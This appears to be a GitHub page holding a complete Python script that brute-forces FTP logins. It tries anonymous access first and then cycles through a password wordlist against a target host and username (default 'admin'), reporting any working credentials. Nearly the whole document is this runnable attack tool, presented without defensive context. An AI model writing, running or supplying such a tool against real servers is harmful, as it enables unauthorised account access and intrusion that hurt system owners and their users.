-
Notifications
You must be signed in to change notification settings - Fork 2
/
bruteforcer.py
74 lines (62 loc) · 2.34 KB
/
bruteforcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import ftplib
import sys
import argparse
import time
# Argument parsing
argparser = argparse.ArgumentParser(description='FTP BruteForcer')
argparser.add_argument('--host', help='Host to be bruteforced', required=True)
argparser.add_argument('-u', '--username', help='Username to be bruteforced', default='admin')
argparser.add_argument('-w', '--wordlist', help='Wordlist file', default='passwords.txt')
argparser.add_argument('-t', '--timeout', help='Connection timeout in seconds', type=int, default=5)
argparser.add_argument('-d', '--delay', help='Delay between attempts in seconds', type=float, default=0.5)
args = argparser.parse_args()
# Main variables
host = args.host
username = args.username
wordlist = args.wordlist
timeout = args.timeout
delay = args.delay
# Connection function
def connect(host, user, password):
try:
ftp = ftplib.FTP()
ftp.connect(host, timeout=timeout)
ftp.login(user=user, passwd=password)
ftp.quit()
return True
except ftplib.error_perm:
return False # Login failed due to incorrect credentials
except ftplib.all_errors as e:
print(f"[-] FTP error: {e}")
return None # Return None for connection issues
# Main function
def main():
print(f"[+] Starting FTP Brute Force on Host: {host} | Username: {username}")
# Check anonymous login
if connect(host, 'anonymous', ''):
print(f"[+] FTP Anonymous login succeeded on host: {host}")
sys.exit(0)
else:
print(f"[-] FTP Anonymous login failed on host: {host}")
# Validate wordlist file
try:
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
except FileNotFoundError:
print(f"[-] File not found: {wordlist}")
sys.exit(1)
# Brute-force loop
for password in passwords:
password = password.strip()
print(f"[*] Testing password: {password}")
result = connect(host, username, password)
if result:
print(f"[+] Success! Username: {username} | Password: {password}")
sys.exit(0)
elif result is None:
print(f"[!] Connection issue encountered with host: {host}. Retrying...")
# Delay between attempts
time.sleep(delay)
print("[-] Brute force completed. No valid credentials found.")
if __name__ == "__main__":
main()